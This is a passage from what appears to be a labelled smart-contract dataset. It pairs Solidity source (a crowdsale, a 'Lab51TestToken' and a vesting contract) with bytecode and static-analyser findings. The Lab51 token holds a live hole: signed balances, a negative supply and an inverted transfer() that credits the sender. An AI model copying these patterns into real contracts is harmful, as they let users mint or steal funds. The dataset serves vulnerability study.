super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor (uint256 openingTime, uint256 closingTime) public { require(closingTime > openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns (uint256) { return _openingTime; } function closingTime() public view returns (uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } } contract GIVEAWAYFINPLETHER is CappedCrowdsale, TimedCrowdsale, MintedCrowdsale { constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address payable _wallet, uint256 _cap, ERC20Mintable _token ) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) { } }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b81146100b95780632c4e722e146100e2578063355274ea146101095780634042b66f1461011e57806347535d7b146101335780634b6753bc146101485780634f9359451461015d578063521eb27314610172578063b7a8807c146101a3578063ec8ac4d8146101b8578063fc0c546a146101de575b6100b7336101f3565b005b3480156100c557600080fd5b506100ce6102af565b604080519115158252519081900360200190f35b3480156100ee57600080fd5b506100f76102b7565b60408051918252519081900360200190f35b34801561011557600080fd5b506100f76102bd565b34801561012a57600080fd5b506100f76102c3565b34801561013f57600080fd5b506100ce6102c9565b34801561015457600080fd5b506100f76102e4565b34801561016957600080fd5b506100ce6102ea565b34801561017e57600080fd5b506101876102fe565b60408051600160a060020a039092168252519081900360200190f35b3480156101af57600080fd5b506100f761030d565b6100b7600480360360208110156101ce57600080fd5b5035600160a060020a03166101f3565b3480156101ea57600080fd5b50610187610313565b6000805460010190819055346102098382610322565b60006102148261033f565b60045490915061022a908363ffffffff61063616565b6004556102378482610648565b60408051838152602081018390528151600160a060020a0387169233927f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b929081900390910190a361028984836102ab565b610291610652565b61029b84836102ab565b505060005481146102ab57600080fd5b5050565b600754421190565b60035490565b60055490565b60045490565b600060065442101580156102df57506007544211155b905090565b60075490565b60006005546102f76102c3565b1015905090565b600254600160a060020a031690565b60065490565b600154600160a060020a031690565b61032a6102c9565b151561033557600080fd5b6102ab828261068e565b600080610357600354846106be90919063ffffffff16565b9050670de0b6b3a764000083101580156103785750674563918244f4000083105b156103a65761039f606461039383607d63ffffffff6106be16565b9063ffffffff6106e916565b9050610496565b674563918244f4000083101580156103c55750678ac7230489e8000083105b156103e05761039f606461039383608763ffffffff6106be16565b678ac7230489e80000831015801561040057506801a055690d9db8000083105b1561041b5761039f606461039383608c63ffffffff6106be16565b6801a055690d9db80000831015801561043c5750680821ab0d441498000083105b156104575761039f606461039383609663ffffffff6106be16565b680821ab0d441498000083101580156104785750683635c9adc5dea0000083105b1561049657610493606461039383603c63ffffffff6106be16565b90505b635f8367e642101580156104ad5750635f8ea00842105b156104cf576104c860646103938360b963ffffffff6106be16565b9050610630565b635f8ea00842101580156104e65750635fa3b80842105b15610501576104c860646103938360af63ffffffff6106be16565b635fa3b80842101580156105185750635fb77e8842105b15610533576104c860646103938360a563ffffffff6106be16565b635fb77e88421015801561054a5750635fc4ad8842105b15610565576104c8606461039383609663ffffffff6106be16565b635fc4ad88421015801561057c5750635fcb450842105b15610597576104c8606461039383608c63ffffffff6106be16565b635fcb450842101580156105ae5750635fd1dc8842105b156105c9576104c8606461039383608263ffffffff6106be16565b635fd1dc8842101580156105e05750635fd8740842105b156105fb576104c8606461039383607863ffffffff6106be16565b635fd8740842101580156106125750635fddba0842105b156106305761062d606461039383606e63ffffffff6106be16565b90505b92915050565b60008282018381101561062d57600080fd5b6102ab828261070d565b600254604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561068b573d6000803e3d6000fd5b50565b61069882826107c7565b6005546106b3826106a76102c3565b9063ffffffff61063616565b11156102ab57600080fd5b60008215156106cf57506000610630565b8282028284828115156106de57fe5b041461062d57600080fd5b60008082116106f757600080fd5b6000828481151561070457fe5b04949350505050565b610715610313565b600160a060020a03166340c10f1983836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561079057600080fd5b505af11580156107a4573d6000803e3d6000fd5b505050506040513d60208110156107ba57600080fd5b505115156102ab57600080fd5b600160a060020a03821615156107dc57600080fd5b8015156102ab57600080fdfea165627a7a72305820aa00038a45f8c3311c9256994fb08f04a9ff5af3d004403ce03c24ade707f37a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
254
0x8aecd03030ab015dfbb108c8ceca764dce58f424
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'TestToken' token contract // // Deployed to : main net // Symbol : L51TT // Name : Lab51TestToken // Total supply: 100000000 // Decimals : 18 // // // // (c) 051 Labs // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(int a, int b) public pure returns (int c) { c = a + b; require(c >= a); } function safeSub(int a, int b) public pure returns (int c) { require(b <= a); c = a - b; } function safeMul(int a, int b) public pure returns (int c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(int a, int b) public pure returns (int c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (int); function balanceOf(address tokenOwner) public constant returns (int balance); function allowance(address tokenOwner, address spender) public constant returns (int remaining); function transfer(address to, int tokens) public returns (bool success); function approve(address spender, int tokens) public returns (bool success); function transferFrom(address from, address to, int tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, int tokens); event Approval(address indexed tokenOwner, address indexed spender, int tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, int256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Lab51TestToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; int8 public decimals; int public _totalSupply; mapping(address => int) balances; mapping(address => mapping(address => int)) allowed; //- In mappingg The entire storage space is virtually initialized to 0 //- -2 => operation inside whitelist implemented or result is unknown //- -1 => operation inside whitelist not permitted //- 0 => NOT existing in whitelist AKA NOT Allowed //- 1 => exist in whitelist and allowed //- 2 => exist in whitelist but in quarantine //- 3 => exist in whitelist but suspended //- 4 => exist in whitelist but disabled //- 5 => exist in whitelist but erased mapping(address => int) private _whitelist; //- modifier onlyOwner() - Prevents function from running if it is called by anyone other than the owner. function Subscribe(address addr) onlyOwner public returns (bool) { _whitelist[addr] = 1; return true; } //- modifier onlyOwner() - Prevents function from running if it is called by anyone other than the owner. function SetSubscriptionTo(address addr, int v) onlyOwner public returns (bool) { _whitelist[addr] = v; return true; } function IsAllowed(address addr) constant private returns (int) { return _whitelist[addr]; } //- modifier onlyOwner() - Prevents function from running if it is called by anyone other than the owner. function CheckIfIsAllowed(address addr) onlyOwner constant public returns (int) { return IsAllowed(addr); } // @dev Function to mint tokens // @param _to The address that will receive the minted tokens. // @param _amount The amount of tokens to mint. // @return A boolean that indicates if the operation was successful. function mint( address _to, int amount ) onlyOwner public returns (bool) { _totalSupply = _totalSupply + amount; balances[_to] = balances[_to] + amount; return true; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Lab51TestToken() public { symbol = "L51TT"; name = "Lab51 Test Token"; decimals = 18; _totalSupply = -100000000000000000000000000; balances[0x8aD2a62AE1EDDAB27322541E6602466f61428e8B] = _totalSupply; Transfer(address(0), 0x8aD2a62AE1EDDAB27322541E6602466f61428e8B, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (int) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (int balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, int tokens) public returns (bool success) { balances[msg.sender] = safeAdd (balances[msg.sender], tokens); balances[to] = safeSub(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, int tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, int tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (int remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, int tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, int tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014357806313f4318e146101d157806318160ddd1461022b578063192193b9146102545780631aec2cf9146102cd578063203965531461031e578063313ce5671461035e5780633a2f6e571461038d5780633eaaf86b146103e757806370a082311461041057806377f463461461045d57806379ba5097146104aa5780637af5dc37146104bf5780638da5cb5b146104ff57806395d89b41146105545780639fcb7100146105e2578063a5f7c1481461067f578063d1d4c4c6146106d9578063d4e12f2e14610719578063d4ee1d9014610773578063dd62ed3e146107c8578063f2fde38b14610834578063f997e1361461086d578063fd9bf3aa146108ad575b600080fd5b341561014e57600080fd5b610156610907565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109a5565b604051808215151515815260200191505060405180910390f35b341561023657600080fd5b61023e610a50565b6040518082815260200191505060405180910390f35b341561025f57600080fd5b6102b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a9b565b604051808215151515815260200191505060405180910390f35b34156102d857600080fd5b610304600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d2b565b604051808215151515815260200191505060405180910390f35b341561032957600080fd5b6103486004808035906020019091908035906020019091905050610dd6565b6040518082815260200191505060405180910390f35b341561036957600080fd5b610371610e07565b604051808260000b60000b815260200191505060405180910390f35b341561039857600080fd5b6103cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e1a565b604051808215151515815260200191505060405180910390f35b34156103f257600080fd5b6103fa610f66565b6040518082815260200191505060405180910390f35b341561041b57600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f6c565b6040518082815260200191505060405180910390f35b341561046857600080fd5b610494600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fb5565b6040518082815260200191505060405180910390f35b34156104b557600080fd5b6104bd611022565b005b34156104ca57600080fd5b6104e960048080359060200190919080359060200190919050506111c1565b6040518082815260200191505060405180910390f35b341561050a57600080fd5b6105126111dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055f57600080fd5b610567611202565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a757808201518184015260208101905061058c565b50505050905090810190601f1680156105d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105ed57600080fd5b610665600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112a0565b604051808215151515815260200191505060405180910390f35b341561068a57600080fd5b6106bf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114ea565b604051808215151515815260200191505060405180910390f35b34156106e457600080fd5b6107036004808035906020019091908035906020019091905050611673565b6040518082815260200191505060405180910390f35b341561072457600080fd5b610759600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611697565b604051808215151515815260200191505060405180910390f35b341561077e57600080fd5b610786611789565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d357600080fd5b61081e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117af565b6040518082815260200191505060405180910390f35b341561083f57600080fd5b61086b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611836565b005b341561087857600080fd5b61089760048080359060200190919080359060200190919050506118d5565b6040518082815260200191505060405180910390f35b34156108b857600080fd5b6108ed600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118f1565b604051808215151515815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561099d5780601f106109725761010080835404028352916020019161099d565b820191906000526020600020905b81548152906001019060200180831161098057829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0257600080fd5b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610ae6600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836111c1565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610baf600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836111c1565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c78600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836118d5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8b0c34a52f9e28d78caaa7066cd047b398dae74941a208b77777420f492bd7e1846040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8857600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050919050565b600081830290506000831480610df65750818382811515610df357fe5b05145b1515610e0157600080fd5b92915050565b600460009054906101000a900460000b81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a5f7c1486000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610f4357600080fd5b6102c65a03f11515610f5457600080fd5b50505060405180519050905092915050565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101257600080fd5b61101b826119e8565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008282131515156111d257600080fd5b818303905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112985780601f1061126d57610100808354040283529160200191611298565b820191906000526020600020905b81548152906001019060200180831161127b57829003601f168201915b505050505081565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fec06647eb3d581d530bd6914e5c859db8edbc5bfb6bffa5d4cf720b824295e0a856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16635cf6a763338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561147d578082015181840152602081019050611462565b50505050905090810190601f1680156114aa5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156114cb57600080fd5b6102c65a03f115156114dc57600080fd5b505050600190509392505050565b6000611535600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836118d5565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c1600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836111c1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8b0c34a52f9e28d78caaa7066cd047b398dae74941a208b77777420f492bd7e1846040518082815260200191505060405180910390a36001905092915050565b6000808213151561168357600080fd5b818381151561168e57fe5b05905092915050565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fec06647eb3d581d530bd6914e5c859db8edbc5bfb6bffa5d4cf720b824295e0a846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081830190508281121515156118eb57600080fd5b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194e57600080fd5b816005540160058190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a7230582054f288629d9b4f7e4b4f30be2be67a38dcc6adf7ea94d4e9964bcc56cba05e9b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
255
0x149f33f6bba536d87005054b9dc458e46888264c
/** *Submitted for verification at Etherscan.io on 2021-08-02 */ /** *Submitted for verification at Etherscan.io on 2021-02-04 */ // SPDX-License-Identifier: (c) Otsea.fi, 2021 pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error * * @dev Default OpenZeppelin */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Vesting { using SafeMath for uint256; IERC20 public token; uint256 public totalTokens; uint256 public releaseStart; uint256 public releaseEnd; mapping (address => uint256) public starts; mapping (address => uint256) public grantedToken; // this means, released but unclaimed amounts mapping (address => uint256) public released; event Claimed(address indexed _user, uint256 _amount, uint256 _timestamp); event Transfer(address indexed _from, address indexed _to, uint256 _amount, uint256 _timestamp); // do not input same recipient in the _recipients, it will lead to locked token in this contract function initialize( address _token, uint256 _totalTokens, uint256 _start, uint256 _period, address[] calldata _recipients, uint256[] calldata _grantedToken ) public { require(releaseEnd == 0, "Contract is already initialized."); require(_recipients.length == _grantedToken.length, "Array lengths do not match."); releaseEnd = _start.add(_period); releaseStart = _start; token = IERC20(_token); token.transferFrom(msg.sender, address(this), _totalTokens); totalTokens = _totalTokens; uint256 sum = 0; for(uint256 i = 0; i<_recipients.length; i++) { starts[_recipients[i]] = releaseStart; grantedToken[_recipients[i]] = _grantedToken[i]; sum = sum.add(_grantedToken[i]); } // We're gonna just set the weight as full tokens. Ensures grantedToken were entered correctly as well. require(sum == totalTokens, "Weight does not match tokens being distributed."); } /** * @dev User may claim tokens that have vested. **/ function claim() public { address user = msg.sender; require(releaseStart <= block.timestamp, "Release has not started"); require(grantedToken[user] > 0 || released[user] > 0, "This contract may only be called by users with a stake."); uint256 releasing = releasable(user); // updates the grantedToken grantedToken[user] = grantedToken[user].sub(releasing); // claim will claim both released and releasing uint256 claimAmount = released[user].add(releasing); // flush the released since released means "unclaimed" amount released[user] = 0; // and update the starts starts[user] = block.timestamp; token.transfer(user, claimAmount); emit Claimed(user, claimAmount, block.timestamp); } /** * @dev returns claimable token. buffered(released) token + token released from last update * @param _user user to check the claimable token **/ function claimableAmount(address _user) external view returns(uint256) { return released[_user].add(releasable(_user)); } /** * @dev returns the token that can be released from last user update * @param _user user to check the releasable token **/ function releasable(address _user) public view returns(uint256) { if (block.timestamp < releaseStart) return 0; uint256 applicableTimeStamp = block.timestamp >= releaseEnd ? releaseEnd : block.timestamp; return grantedToken[_user].mul(applicableTimeStamp.sub(starts[_user])).div(releaseEnd.sub(starts[_user])); } /** * @dev Transfers a sender's weight to another address starting from now. * @param _to The address to transfer weight to. * @param _amountInFullTokens The amount of tokens (in 0 decimal format). We will not have fractions of tokens. **/ function transfer(address _to, uint256 _amountInFullTokens) external { require(_to != msg.sender, "May not transfer to yourself."); // first, update the released released[msg.sender] = released[msg.sender].add(releasable(msg.sender)); released[_to] = released[_to].add(releasable(_to)); // then update the grantedToken; grantedToken[msg.sender] = grantedToken[msg.sender].sub(releasable(msg.sender)); grantedToken[_to] = grantedToken[_to].sub(releasable(_to)); // then update the starts of user starts[msg.sender] = block.timestamp; starts[_to] = block.timestamp; // If trying to transfer too much, transfer full amount. uint256 amount = _amountInFullTokens.mul(1e18) > grantedToken[msg.sender] ? grantedToken[msg.sender] : _amountInFullTokens.mul(1e18); // then move _amount grantedToken[msg.sender] = grantedToken[msg.sender].sub(amount); grantedToken[_to] = grantedToken[_to].add(amount); emit Transfer(msg.sender, _to, amount, block.timestamp); } }
